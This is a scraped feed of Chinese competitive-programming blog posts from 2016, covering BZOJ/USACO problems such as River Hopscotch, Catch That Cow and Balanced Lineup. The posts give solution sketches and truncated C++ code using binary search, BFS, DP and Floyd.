5 Sec Memory Limit: 64 MB Submit: 440 Solved: 290 [Submit][Status][Discuss] Description # Every year the cows hold an event featuring a peculiar version of hopscotch that involves carefully jumping from rock to rock in a river. The excitement takes place on a long, straight river with a rock at the start and another rock at the end, L units away from the start (1 \u003c= L \u003c= 1,000,000,000). Along the river between the starting and ending rocks, N (0 \u003c= N \u003c= 50,000) more rocks appear, each at an integral distance Di from the start (0 \u003c Di \u003c L). To play the game, each cow in turn starts at the starting rock and tries to reach the finish at the ending rock, jumping only from rock to rock. Of course, less agile cows never make it to the final rock, ending up instead in the river. Farmer John is proud of his cows and watches this event each year. But as time goes by, he tires of watching the timid cows of the other farmers limp across the short distances between rocks placed too closely together. He plans to remove several rocks in order to increase the shortest distance a cow will have to jump to reach the end. He knows he cannot remove the starting and ending rocks, but he calculates that he has enough resources to remove up to M rocks (0 \u003c= M \u003c= N). FJ wants to know exactly how much he can increase the shortest distance before he starts removing the rocks. Help Farmer John determine the greatest possible shortest distance a cow has to jump after removing the optimal set of M rocks. 数轴上有n个石子，第i个石头的坐标为Di，现在要从0跳到L，每次条都从一个石子跳到相邻的下一个石子。现在FJ允许你移走M个石子，问移走这M个石子后，相邻两个石子距离的最小值的最大值是多少。 Input # Line 1: Three space-separated integers: L, N, and M * Lines 2..N+1: Each line contains a single integer indicating how far some rock is away ","date":"2016-04-11","externalUrl":null,"permalink":"/2016/04/bzoj-1650/","section":"Posts","summary":"1650: [Usaco2006 Dec]River Hopscotch 跳石子 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 440 Solved: 290 [Submit][Status][Discuss]","tags":["binary search"],"title":"BZOJ 1650: [Usaco2006 Dec]River Hopscotch 跳石子 (二分)","type":"post"},{"categories":["ACM"],"content":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 504 Solved: 265 [Submit][Status][Discuss] Description # The cows are building a roller coaster! They want your help to design as fun a roller coaster as possible, while keeping to the budget. The roller coaster will be built on a long linear stretch of land of length L (1 \u003c= L \u003c= 1,000). The roller coaster comprises a collection of some of the N (1 \u003c= N \u003c= 10,000) different interchangable components. Each component i has a fixed length Wi (1 \u003c= Wi \u003c= L). Due to varying terrain, each component i can be only built starting at location Xi (0 \u003c= Xi \u003c= L-Wi). The cows want to string together various roller coaster components starting at 0 and ending at L so that the end of each component (except the last) is the start of the next component. Each component i has a “fun rating” Fi (1 \u003c= Fi \u003c= 1,000,000) and a cost Ci (1 \u003c= Ci \u003c= 1000). The total fun of the roller coster is the sum of the fun from each component used; the total cost is likewise the sum of the costs of each component used. The cows’ total budget is B (1 \u003c= B \u003c= 1000). Help the cows determine the most fun roller coaster that they can build with their budget. 奶牛们正打算造一条过山车轨道．她们希望你帮忙，找出最有趣，但又符合预算的方案． 过山车的轨道由若干钢轨首尾相连，由x=0处一直延伸到X=L(1≤L≤1000)处．现有N(1≤N≤10000)根钢轨，每根钢轨的起点Xi(0≤Xi≤L- Wi)，长度wi(l≤Wi≤L)，有趣指数Fi(1≤Fi≤1000000)，成本Ci(l≤Ci≤1000)均己知．请确定一种最优方案，使得选用的钢轨的有趣指数之和最大，同时成本之和不超过B(1≤B≤1000)． Input # Line 1: Three space-separated integers: L, N and B. Lines 2..N+1: Line i+1 contains four space-separated integers, respectively: Xi, Wi, Fi, and Ci. 第1行输入L，N，B，接下来N行，每行四个整数Xi，wi，Fi，Ci． Output # Line 1: A single integer that is the maximum fun value that a roller-coaster can have while staying within the budget and meeting all the other constraints. If it is not possible to build a roll","date":"2016-04-11","externalUrl":null,"permalink":"/2016/04/bzoj-1649/","section":"Posts","summary":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 504 Solved: 265 [Submit][Status][Discuss]","tags":["01背包","dp"],"title":"BZOJ 1649: [Usaco2006 Dec]Cow Roller Coaster (dp，类似01背包)","type":"post"},{"categories":["ACM"],"content":"1648: [Usaco2006 Dec]Cow Picnic 奶牛野餐 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 562 Solved: 352 [Submit][Status][Discuss] Description # The cows are having a picnic! Each of Farmer John’s K (1 \u003c= K \u003c= 100) cows is grazing in one of N (1 \u003c= N \u003c= 1,000) pastures, conveniently numbered 1…N. The pastures are connected by M (1 \u003c= M \u003c= 10,000) one-way paths (no path connects a pasture to itself). The cows want to gather in the same pasture for their picnic, but (because of the one-way paths) some cows may only be able to get to some pastures. Help the cows out by figuring out how many pastures are reachable by all cows, and hence are possible picnic locations. K(1≤K≤100)只奶牛分散在N(1≤N≤1000)个牧场．现在她们要集中起来进餐．牧场之间有M(1≤M≤10000)条有向路连接，而且不存在起点和终点相同的有向路．她们进餐的地点必须是所有奶牛都可到达的地方．那么，有多少这样的牧场呢？ Input # Line 1: Three space-separated integers, respectively: K, N, and M * Lines 2..K+1: Line i+1 contains a single integer (1..N) which is the number of the pasture in which cow i is grazing. * Lines K+2..M+K+1: Each line contains two space-separated integers, respectively A and B (both 1..N and A != B), representing a one-way path from pasture A to pasture B. 第1行输入K，N，M.接下来K行，每行一个整数表示一只奶牛所在的牧场编号．接下来M行，每行两个整数，表示一条有向路的起点和终点 Output # Line 1: The single integer that is the number of pastures that are reachable by all cows via the one-way paths. 所有奶牛都可到达的牧场个数 Sample Input # 2 4 4 2 3 1 2 1 4 2 3 3 4 INPUT DETAILS: 4\u003c–3 ^ ^ | | | | 1–\u003e2 The pastures are laid out as shown above, with cows in pastures 2 and 3. Sample Output # 2 牧场3，4是这样的牧场． 思路：爆搜，从每个奶牛开始做dfs，统计每个点到达的次数，到达为k次的就是合法的牧场。 我一开始的思路有点麻烦，也是从每个奶牛做dfs，然后把所有路径上经过的奶牛所在地存到一个数组里，每次访问一个新的点，就把所有奶牛数组里存进这个点的set里。。。但是实际上并不需要知道有哪些奶牛。。所以一个计数数组足矣。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月11日 星期一 15时45分34秒 4Fi","date":"2016-04-11","externalUrl":null,"permalink":"/2016/04/bzoj-1648/","section":"Posts","summary":"1648: [Usaco2006 Dec]Cow Picnic 奶牛野餐 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 562 Solved: 352 [Submit][Status][Discuss]","tags":["dfs"],"title":"BZOJ 1648: [Usaco2006 Dec]Cow Picnic 奶牛野餐 (dfs)","type":"post"},{"categories":["ACM"],"content":"1646: [Usaco2007 Open]Catch That Cow 抓住那只牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 915 Solved: 441 [Submit][Status][Discuss] Description # Farmer John has been informed of the location of a fugitive cow and wants to catch her immediately. He starts at a point N (0 \u003c= N \u003c= 100,000) on a number line and the cow is at a point K (0 \u003c= K \u003c= 100,000) on the same number line. Farmer John has two modes of transportation: walking and teleporting. * Walking: FJ can move from any point X to the points X-1 or X+1 in a single minute * Teleporting: FJ can move from any point X to the point 2*X in a single minute. If the cow, unaware of its pursuit, does not move at all, how long does it take for Farmer John to retrieve it? 农夫约翰被通知，他的一只奶牛逃逸了！所以他决定，马上幽发，尽快把那只奶牛抓回来． 他们都站在数轴上．约翰在N(O≤N≤100000)处，奶牛在K(O≤K≤100000)处．约翰有 两种办法移动，步行和瞬移：步行每秒种可以让约翰从z处走到x+l或x-l处；而瞬移则可让他在1秒内从x处消失，在2x处出现．然而那只逃逸的奶牛，悲剧地没有发现自己的处境多么糟糕，正站在那儿一动不动． 那么，约翰需要多少时间抓住那只牛呢？ Input # Line 1: Two space-separated integers: N and K 仅有两个整数N和K. Output # Line 1: The least amount of time, in minutes, it takes for Farmer John to catch the fugitive cow. 最短的时间． Sample Input # 5 17 Farmer John starts at point 5 and the fugitive cow is at point 17. Sample Output # 4 OUTPUT DETAILS: The fastest way for Farmer John to reach the fugitive cow is to move along the following path: 5-10-9-18-17, which takes 4 minutes. 大概是写得第一道bfs了。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月10日 星期日 21时00分01秒 4File Name :code/bzoj/1646.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#inclu","date":"2016-04-10","externalUrl":null,"permalink":"/2016/04/bzoj-1646-usaco2007-opencatch-that-cow--bfs/","section":"Posts","summary":"1646: [Usaco2007 Open]Catch That Cow 抓住那只牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 915 Solved: 441 [Submit][Status][Discuss]","tags":["bfs"],"title":"BZOJ 1646: [Usaco2007 Open]Catch That Cow 抓住那只牛 (BFS)","type":"post"},{"categories":["ACM"],"content":"1644: [Usaco2007 Oct]Obstacle Course 障碍训练课 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 451 Solved: 226 [Submit][Status][Discuss] Description # 考虑一个 N x N (1 \u003c= N \u003c= 100)的有1个个方格组成的正方形牧场。有些方格是奶牛们不能踏上的，它们被标记为了’x’。例如下图： . . B x . . x x A . . . . x . . x . . . . . x . . 贝茜发现自己恰好在点A处，她想去B处的盐块舔盐。缓慢而且笨拙的动物，比如奶牛，十分讨厌转弯。尽管如此，当然在必要的时候她们还是会转弯的。对于一个给定的牧场，请你计算从A到B最少的转弯次数。开始的时候，贝茜可以使面对任意一个方向。贝茜知道她一定可以到达。 Input # 第 1行: 一个整数 N 行 2..N + 1: 行 i+1 有 N 个字符 (’.’, ‘x’, ‘A’, ‘B’)，表示每个点的状态。 Output # 行 1: 一个整数，最少的转弯次数。 Sample Input # 3 .xA … Bx. Sample Output # 2 思路：bfs.我一开始的错误做法是用优先队列，以转弯数为关键字。 但是实际上错的，因为到达同一个点可能之后到达的方法有更少的转弯数，但是在做bfs的时候，之前访问的节点已经被标记了，所以无法更新成更优的值。 正解是类似dp的做法。需要注意不需要vis数组标记。 用dir[x][y][i]表示从i方向到达x,y的需要转弯数。 初始dir[s.x][s.y][0..3]为0,其余为inf 然后更新的时候如果dir[fx][fy][i]=min(dir[x][y][j]+1) 当i!=j dir[fx][fy][i]=min(dir[x][y][j]) 当i=j 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月10日 星期日 17时00分22秒 4File Name :code/bzoj/1644.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34char maze[N][N]; 35int n; 36bool vis[N][N]; 37int dir[N][N][5]; 38struct node 39{ 40 int x,y; 41 42 43 bool ok () 44 { 45 if (x\u003e=0\u0026\u0026x\u003cn\u0026\u0026y\u003e=0\u0026\u0026y\u003cn\u0026\u0026maze[x][y]!='","date":"2016-04-10","externalUrl":null,"permalink":"/2016/04/bzoj-1644-usaco2007-octobstacle-course--bfsdp/","section":"Posts","summary":"1644: [Usaco2007 Oct]Obstacle Course 障碍训练课 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 451 Solved: 226 [Submit][Status][Discuss]","tags":["bfs","dp"],"title":"BZOJ 1644: [Usaco2007 Oct]Obstacle Course 障碍训练课 (BFS,DP)","type":"post"},{"categories":["ACM"],"content":"1643: [Usaco2007 Oct]Bessie’s Secret Pasture 贝茜的秘密草坪 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 330 Solved: 278 [Submit][Status][Discuss] Description # 农夫约翰已经从他的牧场中取得了数不清块数的正方形草皮，草皮的边长总是整数（有时农夫约翰割草皮的刀法不合适，甚至切出了边长为0的正方形草皮），他已经把草皮放在了一个奶牛贝茜已经知道的地方。 贝茜总是希望把美味的草皮放到她的秘密庄园里，她决定从这些草皮中取出恰好4块搬到她的秘密庄园中，然后把它们分成1×1的小块，组成一个面积为N(1\u003c=N\u003c=10,000)个单位面积的部分。 贝茜对选出这样四块草皮的方法数很感兴趣，如果她得到了一个4个单位面积的部分，那么她可以有5中不同的方法选4块草皮：(1,1,1,1),(2,0,0,0),(0,2,0,0),(0,0,0,2).顺序是有效的：(4,3,2,1)和(1,2,3,4)是不同的方法。 Input # 第一行：一个单独的整数N。 Output # 单独的一行包含一个整数，表示贝茜选四块草皮的方案数。 Sample Input # 4 Sample Output # 5 思路：母函数。把四个位置看作四个式子。每个式子的i可以取从0到i*i\u003c=n的最大值。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月10日 星期日 16时34分31秒 4File Name :code/bzoj/1643.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n; 35int a[N],tmp[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 scanf(\"%d\",\u0026n); 43 ms(tmp,0); 44 for ( int i = 0 ; i*i \u003c= n ; i++) 45 { 46 a[i*i] = 1; 47 } 48 for ( int i = 2 ; i \u003c= 4 ; i++) 49 { 50 for ( int j = 0 ; j \u003c= n ; j++) 51 { 52 for ( int k = 0 ; k*k+j \u003c= n ; k++) 53 { 54 tmp[j+k*k] += a[j]; 55 } 56 } 57 58 for","date":"2016-04-10","externalUrl":null,"permalink":"/2016/04/bzoj-1643-usaco2007-octbessies-secret-pasture-/","section":"Posts","summary":"1643: [Usaco2007 Oct]Bessie’s Secret Pasture 贝茜的秘密草坪 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 330 Solved: 278 [Submit][Status][Discuss]","tags":["母函数"],"title":"BZOJ 1643: [Usaco2007 Oct]Bessie's Secret Pasture 贝茜的秘密草坪(母函数)","type":"post"},{"categories":["ACM"],"content":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 667 Solved: 389 [Submit][Status][Discuss] Description # 贝茜是一只非常努力工作的奶牛，她总是专注于提高自己的产量。为了产更多的奶，她预计好了接下来的N (1 ≤ N ≤ 1,000,000)个小时，标记为0..N-1。 Farmer John 计划好了 M (1 ≤ M ≤ 1,000) 个可以挤奶的时间段。每个时间段有一个开始时间(0 ≤ 开始时间 ≤ N), 和一个结束时间 (开始时间 \u003c 结束时间 ≤ N), 和一个产量 (1 ≤ 产量 ≤ 1,000,000) 表示可以从贝茜挤奶的数量。Farmer John 从分别从开始时间挤奶，到结束时间为止。每次挤奶必须使用整个时间段。 但即使是贝茜也有她的产量限制。每次挤奶以后，她必须休息 R (1 ≤ R ≤ N) 个小时才能下次挤奶。给定Farmer John 计划的时间段，请你算出在 N 个小时内，最大的挤奶的量。 Input # 第1行三个整数N，M，R.接下来M行，每行三个整数Si，Ei，Pi． Output # 最大产奶量． Sample Input # 12 4 2 1 2 8 10 12 19 3 6 24 7 10 31 Sample Output # 43 HINT # 注意：结束时间不挤奶 思路：这题很像LIS啊。。由于每次结束要休息R的时间，所以把结束时间+R就好。 然后按照开始时间排序。 dp[i]表示前i个任务安排最大的挤奶量。 初始化dp[i] = a[i].val 转移的时候 dp[i] = max(dp[i],dp[j]+a[i].val) (j\u003ci\u0026\u0026a[j].r\u003c=a[i].l) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月10日 星期日 01时50分11秒 4File Name :code/bzoj/1642.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34struct node 35{ 36 int l,r; 37 int val; 38 39 bool operator \u003c (node b)const 40 { 41 if (l==b.l) return r\u003cb.r; 42 return l\u003cb.l; 43 } 44}a[N]; 45int n,m,R; 46int sum; 47int dp[N]; 48 49int main() 50{ 51 #ifndef ONLINE_JU","date":"2016-04-10","externalUrl":null,"permalink":"/2016/04/bzoj1642/","section":"Posts","summary":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 667 Solved: 389 [Submit][Status][Discuss]","tags":["LIS"],"title":"BZOJ 1642: [Usaco2007 Nov]Milking Time 挤奶时间 (dp,类似LIS)","type":"post"},{"categories":["ACM"],"content":"1641: [Usaco2007 Nov]Cow Hurdles 奶牛跨栏 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 531 Solved: 344 [Submit][Status][Discuss] Description # Farmer John 想让她的奶牛准备郡级跳跃比赛，贝茜和她的伙伴们正在练习跨栏。她们很累，所以她们想消耗最少的能量来跨栏。 显然，对于一头奶牛跳过几个矮栏是很容易的，但是高栏却很难。于是，奶牛们总是关心路径上最高的栏的高度。 奶牛的训练场中有 N (1 ≤ N ≤ 300) 个站台，分别标记为1..N。所有站台之间有M (1 ≤ M ≤ 25,000)条单向路径，第i条路经是从站台Si开始，到站台Ei，其中最高的栏的高度为Hi (1 ≤ Hi ≤ 1,000,000)。无论如何跑，奶牛们都要跨栏。 奶牛们有 T (1 ≤ T ≤ 40,000) 个训练任务要完成。第 i 个任务包含两个数字 Ai 和 Bi (1 ≤ Ai ≤ N; 1 ≤ Bi ≤ N)，表示奶牛必须从站台Ai跑到站台Bi，可以路过别的站台。奶牛们想找一条路径从站台Ai到站台Bi，使路径上最高的栏的高度最小。 你的任务就是写一个程序，计算出路径上最高的栏的高度的最小值。 Input # 行 1: 两个整数 N, M, T 行 2..M+1: 行 i+1 包含三个整数 Si , Ei , Hi 行 M+2..M+T+1: 行 i+M+1 包含两个整数，表示任务i的起始站台和目标站台: Ai , Bi Output # 行 1..T: 行 i 为一个整数，表示任务i路径上最高的栏的高度的最小值。如果无法到达，输出 -1。 Sample Input # 5 6 3 1 2 12 3 2 8 1 3 5 2 5 3 3 4 4 2 4 8 3 4 1 2 5 1 Sample Output # 4 8 -1 HINT # Source # Silver 思路：floyd. 坑成傻逼。 BZOJ用CIN/COUT会迷之RE!!! BZOJ用CIN/COUT会迷之RE!!! BZOJ用CIN/COUT会迷之RE!!! 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月09日 星期六 20时39分07秒 4File Name :code/bzoj/1641.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34int n; 35int dp[N][N]; 36int m,t; 37int main() ","date":"2016-04-09","externalUrl":null,"permalink":"/2016/04/bzoj-1641-usaco2007-novcow-hurdles--floyd/","section":"Posts","summary":"1641: [Usaco2007 Nov]Cow Hurdles 奶牛跨栏 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 531 Solved: 344 [Submit][Status][Discuss]","tags":["floyd"],"title":"BZOJ 1641: [Usaco2007 Nov]Cow Hurdles 奶牛跨栏 (floyd)","type":"post"},{"categories":["ACM"],"content":"1640: [Usaco2007 Nov]Best Cow Line 队列变换 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 710 Solved: 373 [Submit][Status][Discuss] Description # FJ打算带着他可爱的N (1 ≤ N ≤ 2,000)头奶牛去参加”年度最佳老农”的比赛.在比赛中,每个农夫把他的奶牛排成一列,然后准备经过评委检验. 比赛中简单地将奶牛的名字缩写为其头字母(the initial letter of every cow),举个例子,FJ带了Bessie, Sylvia,和Dora,那么就可以缩写为BSD. FJ只需将奶牛的一个序列重新排列,然后参加比赛.他可以让序列中的第一头奶牛,或者最后一头走出来,站到新队列的队尾. 利欲熏心的FJ为了取得冠军,他就必须使新队列的字典序尽量小. 给你初始奶牛序列(用头字母)表示,然后按照上述的规则组成新序列,并使新序列的字典序尽量小. Input # 第1行:一个整数N. 第2行至第N+1行:每行一个大写字母,表示初始序列中该奶牛的头字母. Output # 得到的最小字典序的序列.每输出80个字母需要一个换行! Sample Input # 6 A C D B C B Sample Output # ABCBCD HINT # Source # Silver 思路：比较麻烦的一个贪心。。对拍才找出了一个错误。。。 写丑了QAQ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月08日 星期五 16时16分34秒 4File Name :code/bzoj/1640.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int n; 35int a[N]; 36string ans; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 ios::sync_with_stdio(false); 44 cin\u003e\u003en; 45 ans =\"\"; 46 for ( int i = 1 ;i \u003c= n ; i++) 47 { 48 char ch; 49 cin\u003e\u003ech; 50 a[i] = ch-'A'+1; 51 } 52 53 int l = 1; 54 int r = n ; 55 56 while (l\u003c=r) 57 { 58 if (l==r) 5","date":"2016-04-09","externalUrl":null,"permalink":"/2016/04/bzoj-1640/","section":"Posts","summary":"1640: [Usaco2007 Nov]Best Cow Line 队列变换 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 710 Solved: 373 [Submit][Status][Discuss]","tags":["greedy"],"title":"BZOJ 1640/1692 : [Usaco2007 Nov]Best Cow Line 队列变换 (贪心)","type":"post"},{"categories":["ACM"],"content":"1639: [Usaco2007 Mar]Monthly Expense 月度开支 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 767 Solved: 381 [Submit][Status][Discuss] Description # Farmer John是一个令人惊讶的会计学天才，他已经明白了他可能会花光他的钱，这些钱本来是要维持农场每个月的正常运转的。他已经计算了他以后N(1\u003c=N\u003c=100,000)个工作日中每一天的花费moneyi(1\u003c=moneyi\u003c=10,000)，他想要为他连续的M(1\u003c=M\u003c=N)个被叫做“清算月”的结帐时期做一个预算，每一个“清算月”包含一个工作日或更多连续的工作日，每一个工作日都仅被包含在一个“清算月”当中。 FJ的目标是安排这些“清算月”，使得每个清算月的花费中最大的那个花费达到最小，从而来决定他的月度支出限制。 Input # 第一行：两个用空格隔开的整数：N和M 第2..N+1行：第i+1行包含FJ在他的第i个工作日的花费 Output # 第一行：能够维持每个月农场正常运转的钱数 Sample Input # 7 5 100 400 300 100 500 101 400 Sample Output # 500 输入细节 这里有7个工作日来被5个“清算月”划分。他花费100，400，100，500，101，和400元在他的每个工作日。 输出细节 如果FJ安排他的月度预算，他将把前两天划分在一个月中，把第三天、第四天划分在一个月当中，最后的三个工作日各自在一个月当中，所以他一个月最多花费500元，其他的方法总是得出一个较大的结果。 100 400 300 100 500 101 400 每天花费 —1— —2— -3- -4- -5- 月度标号 500 400 500 101 400 月度花费 HINT # Source # Silver 思路：一开始以为是贪心。挨个放，然后每放完m个sort一次。但是有可能是连续多次都划分在一个里啊。。不一定是挨个放，所以是错的。 正解是二分：check的时候因为必须是连续的区间，每次大于x了，则划分数+1，最后判断划分数是否小于等于m.需要注意的是，初始的划分数就是1. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月08日 星期五 15时33分11秒 4File Name :code/bzoj/1639.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int m; 36i","date":"2016-04-08","externalUrl":null,"permalink":"/2016/04/bzoj-1639/","section":"Posts","summary":"1639: [Usaco2007 Mar]Monthly Expense 月度开支 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 767 Solved: 381 [Submit][Status][Discuss]","tags":["binary search"],"title":"BZOJ 1639: [Usaco2007 Mar]Monthly Expense 月度开支 (二分)","type":"post"},{"categories":["ACM"],"content":"1637: [Usaco2007 Mar]Balanced Lineup # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 503 Solved: 336 [Submit][Status][Discuss] Description # Farmer John 决定给他的奶牛们照一张合影，他让 N (1 ≤ N ≤ 50,000) 头奶牛站成一条直线，每头牛都有它的坐标(范围: 0..1,000,000,000)和种族(0或1)。 一直以来 Farmer John 总是喜欢做一些非凡的事，当然这次照相也不例外。他只给一部分牛照相，并且这一组牛的阵容必须是“平衡的”。平衡的阵容，指的是在一组牛中，种族0和种族1的牛的数量相等。 请算出最广阔的区间，使这个区间内的牛阵容平衡。区间的大小为区间内最右边的牛的坐标减去最做边的牛的坐标。 输入中，每个种族至少有一头牛，没有两头牛的坐标相同。 Input # 行 1: 一个整数: N 行 2..N + 1: 每行两个整数，为种族 ID 和 x 坐标。 Output # 行 1: 一个整数，阵容平衡的最大的区间的大小。 Sample Input # 7 0 11 1 10 1 25 1 12 1 4 0 13 1 22 Sample Output # 11 输入说明 有7头牛，像这样在数轴上。 1 1 0 1 0 1 1 +–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+ 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 输出说明 牛 #1 (at 11), #4 (at 12), #6 (at 13), #7 (at 22) 组成一个平衡的最大的区间，大小为 22-11=11 个单位长度。 \u003c——– 平衡的 ——–\u003e 1 1 0 1 0 1 1 +–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+–+ 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 题意：有n头牛，在一个数轴上，没头牛有一个坐标x和性别（0或者1） 现在要选一段最长的连续区间使得区间内公牛和母牛的个数相等（区间的端点必须有牛存在才可以选），问最长区间是多少。 思路：乱搞。先按照x排序。把性别为0的换成-1，这样比较好处理平衡。然后分三种情况，包含左端点，包含右端点，两个端点都不包含。前两种情况随便搞。最后一种情况，我的做法是正反扫两遍预处理出了sum1[i]和sum2[i]，sum1[i]表示正向性别和为i的最左端的点的id,sum2[i]表示反向性别和为i的最右端的点的id。 如果所有奶牛的性别和为total,那么对于正向扫的时候，设当前性别的前缀和为X，中间选的奶牛的前缀和为Z,最后不选的奶牛的性别和为Y，那么就有X+Y+Z=total. 我们要使得Z为0，所以Y=total-x. 说白了就是对于从左往右的每个i，找到最右端的某个点使得这两个点中间的奶牛（不包含这两个点）的性别和为0. 注意下标可能为负，所以整体平移一下就好。 然后三种情况取最大值。 时间复杂度O(n) 1/* *********************************************** 2Author 